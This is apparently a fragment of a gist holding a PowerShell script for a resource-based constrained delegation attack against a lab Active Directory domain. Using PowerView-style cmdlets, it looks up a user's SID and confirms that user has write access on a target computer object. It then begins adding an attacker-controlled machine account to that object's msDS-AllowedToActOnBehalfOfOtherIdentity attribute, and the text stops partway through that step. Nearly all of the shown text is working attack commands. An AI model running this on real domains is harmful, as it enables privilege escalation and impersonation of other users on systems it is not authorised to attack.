This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Verify the COSMOS\Hawking has Write permissions on BOSON$ | |
$AttackerSID = Get-DomainUser Hawking -Properties objectsid | Select -Expand objectsid | |
$ACE = Get-DomainObjectACL "BOSON.COSMOS.LAB" -ResolveGUIDs | ?{$_.SecurityIdentifier -match $AttackerSID} | |
$ACE | |
ConvertFrom-SID $ACE.SecurityIdentifier | |
# Add QUARK$ in msDS-AllowedToActOnBehalfOfOtherIdentity attribute of BOSON$ | |
$S4UIdentity = "COSMOS\QUARK$" |
OlderNewer